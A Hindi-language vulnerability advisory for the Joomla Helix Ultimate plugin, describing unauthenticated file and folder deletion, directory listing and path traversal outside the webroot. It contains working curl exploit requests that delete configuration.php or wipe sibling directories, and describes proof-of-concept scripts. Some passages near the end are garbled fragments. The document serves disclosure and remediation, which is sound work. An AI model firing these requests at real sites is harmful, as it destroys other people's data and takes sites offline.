
Joomla Helix Ultimate (JoomShaper) <= 2.2.6 में बिना प्रमाणीकरण के मनमानी फ़ाइल/फ़ोल्डर विलोपन — CVE-2026-57830
यह एक पुष्ट DoS + क्रॉस-टेनेंट फ़ाइलसिस्टम एक्सेस भेद्यता है, RCE नहीं। एक RCE-एस्केलेशन सिद्धांत (configuration.php को हटाकर Joomla इंस्टॉलर को फिर से उजागर करना) का लाइव परीक्षण किया गया और उसे खारिज कर दिया गया — नीचे "RCE एस्केलेशन — परीक्षण किया गया और खारिज" देखें। पहले एक वास्तविक चेन दोबारा निकाले बिना किसी भी रिपोर्ट में इसे RCE के रूप में प्रस्तुत न करें।
गंभीरता उन्नयन (2026-07-06, दूसरा पास): path पैरामीटर उतना सुरक्षित रूप से Joomla वेबरूट तक सीमित नहीं है जितना पहले आकलन किया गया था — Joomla का PATH इनपुट फ़िल्टर एक अकेले /../ ट्रैवर्सल घटक को ब्लॉक नहीं करता है, इसलिए यह बग (पढ़ें: पूर्ण डायरेक्टरी सूची; लिखें: फ़ाइल हटाना या फ़ोल्डर सामग्री को पुनरावर्ती रूप से मिटाना) फ़ाइलसिस्टम की उन सभी चीज़ों तक पहुँचता है जिन तक वेब सर्वर उपयोगकर्ता पहुँच सकता है, न कि केवल Joomla इंस्टॉल के अंदर की फ़ाइलों तक। किसी भी साझा-होस्टिंग लेआउट पर जहाँ कई साइटें/टेनेंट एक ही OS उपयोगकर्ता के अंतर्गत सहोदर डायरेक्टरियों के रूप में रहते हैं (अत्यंत सामान्य: cPanel "एडॉन डोमेन", Plesk सब्सक्रिप्शन जो एक सिस्टम उपयोगकर्ता साझा करते हैं, अधिकांश बजट होस्टिंग), एक अकेली Helix-Ultimate-संचालित साइट एक अनाम आगंतुक को उसी खाते पर हर दूसरी साइट को नष्ट करने देती है। लाइव प्रमाण के लिए नीचे "पाथ ट्रैवर्सल JPATH_ROOT से पूरी तरह बाहर निकलता है" देखें।
घटक: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), लगभग हर JoomShaper Joomla टेम्पलेट (Helix Ultimate आधारित) के साथ बंडल किया गया।
परीक्षण किया गया संस्करण: 2.2.6 (GitHub JoomShaper/helix-ultimate, 2026-07 तक HEAD, अंतिम पुश 2026-06-30)
लेखक: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php deleteMedia(), getFolders() और createFolder() को Joomla के com_ajax डिस्पैच हुक के माध्यम से helixultimate.php::onAfterRoute() में उजागर करता है। ये तीनों विधियाँ केवल Session::checkToken() को बुलाती हैं (एक साधारण CSRF जाँच, जो किसी भी अनाम आगंतुक के अपने सत्र टोकन से संतुष्ट हो जाती है — साइट के होमपेज HTML से प्राप्त की जा सकती है) — कोई authorise() / लॉगिन जाँच बिल्कुल नहीं। यह उसी क्लास की सहोदर विधि uploadMedia() के अनुरूप नहीं है, जो सही रूप से com_templates पर core.edit की आवश्यकता रखती है।
चूँकि यह एक सिस्टम प्लगइन है, onAfterRoute() हर अनुरोध पर चलता है, चाहे वर्तमान में कोई भी टेम्पलेट सक्रिय हो — जब तक प्लगइन इंस्टॉल और सक्षम है, भेद्य कोड पथ तक पहुँचा जा सकता है (जो कि डिफ़ॉल्ट रूप से, Helix-Ultimate-आधारित JoomShaper टेम्पलेट का उपयोग करने वाली किसी भी साइट पर ऐसा ही होता है)।
plugins/system/helixultimate/helixultimate.php (~पंक्ति 464-489):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
$path Joomla के PATH इनपुट फ़िल्टर (InputFilter::cleanPath()) से गुजरता है। दो स्वतंत्र चीज़ें इसे खतरनाक बनाती हैं:
path सीधे JPATH_ROOT के अंतर्गत हल किया जाता है, इसलिए रूट-से-निरपेक्ष कोई भी पथ (/configuration.php, /administrator/..., /media/...) पहले से ही पहुँच योग्य है।cleanPath() का रेगेक्स (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) अग्रणी [A-Za-z0-9_/-]+ खंड के तुरंत बाद स्थित डॉट/हाइफ़न/अल्फ़ान्यूमेरिक वर्णों की ठीक एक श्रृंखला की अनुमति देता है — और एक अकेला अग्रणी / उस अग्रणी खंड को अकेले संतुष्ट कर देता है, इसलिए /../sibling_dir जैसी स्ट्रिंग सफाई से मेल खाती है: / (खंड 1), .. (अनुमत डॉटी श्रृंखला), (एक सामान्य अनुगामी खंड)। फ़िल्टर को ऐसे खंड को अस्वीकार करने के लिए लिखा गया था जो एक नए घटक को डॉट से करता है, लेकिन उसने कभी यह अनुमान नहीं लगाया कि स्ट्रिंग के बिल्कुल पहले वर्ण के ठीक बाद एक अकेला बैठा हो सकता है। को श्रृंखलाबद्ध करना टिकता नहीं है (पहली डॉटी श्रृंखला के बाद हर अगला खंड गैर-डॉट वर्ण से शुरू होना चाहिए) — इसलिए पलायन ठीक से डायरेक्टरी स्तर ऊपर तक सीमित है, लेकिन उस स्तर से नीचे की हर चीज़ (मनमानी गहराई) तब सामान्य रूप से पहुँच योग्य होती है, क्योंकि आगे के खंड केवल सामान्य गैर-डॉट पथ घटक होते हैं।configuration.php → तुरंत, संपूर्ण साइट आउटेज ("No configuration" घातक त्रुटि), एक HTTP अनुरोध, शून्य प्रमाणीकरण।type=folder) → जैसे /administrator, /components, /media → कहीं अधिक विनाशकारी, प्रभावी रूप से इंस्टॉल को नष्ट कर देता है।view-media (Media::getFolders()) के माध्यम से: किसी भी रूट-सापेक्ष पथ के अंतर्गत सभी छवि फ़ाइलों, सभी उपफ़ोल्डर नामों और निरपेक्ष सर्वर पथों की सूची देता है, कोई प्रमाणीकरण आवश्यक नहीं (नीचे सुरक्षित पहचान संकेत के रूप में उपयोग किया गया है)।एक डिस्पोज़ेबल Docker इंस्टेंस (Joomla 5.4.6 + Helix Ultimate प्लगइन 2.2.6, नया इंस्टॉल, पूरी तरह से अनाम ब्राउज़र सत्र — कोई लॉगिन नहीं, Joomla द्वारा हर आगंतुक को दी जाने वाली कुकी के अलावा कोई कुकी नहीं) के विरुद्ध परीक्षण किया गया:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."
Joomla वेबरूट की एक सहोदर डायरेक्टरी बनाई गई (/var/www/canary_sibling, /var/www/html की सहोदर), जो वेब सर्वर के समान उपयोगकर्ता (www-data) के स्वामित्व में थी, ताकि एक यथार्थवादी साझा-होस्टिंग लेआउट को प्रतिबिंबित किया जा सके; इसमें एक फ़ाइल, एक छवि और एक उपडायरेक्टरी रखी गई:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "<csrf-token>=1"
{"status":true, "path":"/../canary_sibling",
"images":["/var/www/html/../canary_sibling/proof.png"],
"folders":["subdir"], ...}
Joomla इंस्टॉल से पूरी तरह बाहर की एक डायरेक्टरी की संपूर्ण पठन/गणना, जिसमें हल किए गए निरपेक्ष सर्वर पथ शामिल हैं, शून्य प्रमाणीकरण के साथ।
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "type=folder" \
--data-urlencode "<csrf-token>=1"
परिणाम: canary_sibling के अंदर की हर फ़ाइल (सादा फ़ाइल, छवि और उपडायरेक्टरी) हटा दी गई। केवल अब-खाली शीर्ष-स्तरीय canary_sibling फ़ोल्डर स्वयं बच गया, और केवल इसलिए क्योंकि इस प्रयोगशाला में यह सीधे /var/www के अंतर्गत स्थित था, जो root के स्वामित्व में है — खाली डायरेक्टरी प्रविष्टि को हटाने के लिए उसके मूल पर लिखने की अनुमति आवश्यक होती है, जो www-data के पास /var/www पर नहीं है। एक वास्तविक साझा-होस्टिंग लेआउट पर (जैसे /home/user/domains/siteA.com/public_html और /home/user/domains/siteB.com/public_html सच्ची सहोदर के रूप में, दोनों पूरी तरह से उसी खाता उपयोगकर्ता के स्वामित्व में), वह अंतिम बाधा मौजूद नहीं होती और सहोदर साइट का संपूर्ण डायरेक्टरी पेड़ हटाने योग्य होता है।
स्पष्ट अगला सिद्धांत यह था: ऐसी साइट पर जहाँ सेटअप के बाद installation/ कभी नहीं हटाया गया, configuration.php को हटाने से इंस्टॉलर विज़ार्ड फिर से पहुँच योग्य हो जाएगा, जिससे एक हमलावर इसे पूरा करके एक नया सुपर यूज़र बना सकता है। इसका सीधे प्रयोगशाला में परीक्षण किया गया और यह खरा नहीं उतरता:
installation/ फ़ोल्डर को वेबरूट में वापस कॉपी किया गया (ऐसी साइट का अनुकरण जो इसे हटाना भूल गई थी) — इस बिंदु पर configuration.php अभी भी मौजूद और मान्य था।302 Found -> /installation/index.php जारी करना शुरू कर दिया, जिसमें एक्सप्लॉइट का अपना POST (option=com_ajax&helix=ultimate&...&action=delete-media) भी शामिल था। इस अवस्था में भेद्य कोड पथ कभी निष्पादित नहीं होता — Joomla कोर पहले सब कुछ शॉर्ट-सर्किट कर देता है।installation/ मौजूद है: साइट पहले से ही किसी भी आगंतुक द्वारा अधिग्रहण के लिए पूरी तरह खुली है, यह पूरी तरह से इस भेद्यता से स्वतंत्र है — यह एक पूर्व-मौजूद, असंबंधित Joomla गलत-कॉन्फ़िगरेशन है, न कि ऐसी कोई चीज़ जो इस बग के कारण उत्पन्न होती है या जिसकी इसके लिए आवश्यकता है।installation/ अनुपस्थित है (सामान्य, सुरक्षित अवस्था): यह भेद्यता केवल फ़ाइलों को हटा सकती है, यह installation/ फ़ोल्डर को वापस बना नहीं सकती — केवल-विलोपन प्रिमिटिव से इंस्टॉलर को फिर से उजागर करने का कोई तरीका नहीं है।निष्कर्ष: अवस्थाओं का कोई भी संयोजन इसे RCE नहीं बनाता। पुष्ट, ईमानदार प्रभाव सीमा है: बिना प्रमाणीकरण के, बिना शर्त, गारंटीकृत पूर्ण-साइट DoS (ऊपर उल्लिखित बिना प्रमाणीकरण के सूचना प्रकटीकरण के साथ)। यह अपने गुणों के आधार पर पहले से ही एक Critical-गंभीरता का निष्कर्ष है और इसके लिए RCE का बढ़ा-चढ़ाकर दावा करने की आवश्यकता नहीं है।
createFolder() बिना प्रमाणीकरण के पहुँच योग्य नहीं है (पिछला मसौदा गलत था)इस लेख के एक पुराने संस्करण ने दावा किया था कि Media::createFolder() भी बिना प्रमाणीकरण के पहुँच योग्य था (विलोपन/पठन के साथ एक तीसरे प्रिमिटिव के रूप में)। यह गलत था और प्लगइन की डिस्पैच वायरिंग पर पूर्ण समीक्षा के बाद इसे सुधार दिया गया है:
createFolder(), और कोडबेस में वास्तविक फ़ाइल-सामग्री-लेखन सिंक (Request.php: fwrite(), टेम्पलेट स्टाइल/वेबफ़ॉन्ट/CSS-कैश फ़ाइलों के लिए File::write()), सभी plugins/system/helixultimate/src/Platform/Request.php में रहते हैं, और केवल Platform::handleRequests() <- onAfterRespond() के माध्यम से डिस्पैच होते हैं।onAfterRespond() स्पष्ट रूप से $this->app->isClient('administrator') की आवश्यकता रखता है, और onAfterRoute() उस बिंदु से पहले किसी भी गैर-लॉग-इन आगंतुक को अलग से रीडायरेक्ट कर देता है। यह पथ वास्तव में व्यवस्थापक-प्रमाणित है — यह केवल विधि के अंदर authorise() कॉल की अनुपस्थिति से नहीं, बल्कि सटीक गेट शर्त को पढ़कर पुष्ट किया गया है (साइट-पक्षीय deleteMedia()/getFolders() के विपरीत, जिनमें वास्तव में शून्य गेट है)।पुष्ट बिना-प्रमाणीकरण क्षमता सेट, अंतिम: केवल विलोपन (फ़ाइल या पुनरावर्ती फ़ोल्डर) + पठन (फ़ोल्डर/छवि सूची)। इस प्लगइन में कहीं भी कोई बिना-प्रमाणीकरण सामग्री-लेखन प्रिमिटिव मौजूद नहीं है। यही सटीक कारण है कि विशेष रूप से एक की खोज करने के बाद भी कोई RCE चेन नहीं मिली — RCE को मौलिक रूप से एक लेखन प्रिमिटिव की आवश्यकता होती है, और इस बग वर्ग के पास एक नहीं है।
helix_ultimate_detect.pyगैर-विनाशकारी। प्रमाण संकेत के रूप में action=view-media (फ़ोल्डर/फ़ाइल सूची) का उपयोग करता है — कभी कुछ हटाता नहीं है।
helix_ultimate_delete_poc.py (निरंतरता हेतु नाम रखा गया; केवल DoS की पुष्टि करता है)विनाशकारी। कुछ भी छूने के लिए स्पष्ट --delete <path> की आवश्यकता होती है। --rce फ़्लैग configuration.php को हटाता है और /installation/ की जाँच केवल यह देखने के लिए करता है कि क्या वह फ़ोल्डर संयोगवश पहले से मौजूद है (ऐसी स्थिति में साइट इस बग की परवाह किए बिना स्वतंत्र रूप से पूरी तरह खुली थी) — यह इस भेद्यता के कारण होने वाला कोई वास्तविक एस्केलेशन नहीं दर्शाता है; ऊपर "RCE एस्केलेशन — परीक्षण किया गया और खारिज" देखें। केवल लिखित प्राधिकरण के साथ उपयोग करें।
दो स्वतंत्र सुधार आवश्यक हैं, अकेला कोई भी एक इसे पहले ही रोक देगा:
src/Platform/Media.php में deleteMedia() और getFolders() में वही प्राधिकरण जाँच जोड़ें जो uploadMedia() में पहले से है — न्यूनतम com_templates पर core.edit/core.delete (या com_media, जो Blog::remove_image() के पैटर्न से मेल खाता है)।Amin İsayev / Proxima Cyber Security — 2026. केवल शैक्षिक / अधिकृत-परीक्षण उपयोग हेतु।
/sibling_dir/…..../../../…JPATH_ROOTonAfterRoute() में फ्रंटएंड (isClient('site')) स्विच केवल पाँच क्रियाएँ वायर करता है: upload-blog-image, remove-blog-image, view-media (Media::getFolders), delete-media (Media::deleteMedia), upload-media (Media::uploadMedia, जो core.edit/com_templates की जाँच करता है)। create-folder उनमें से नहीं है।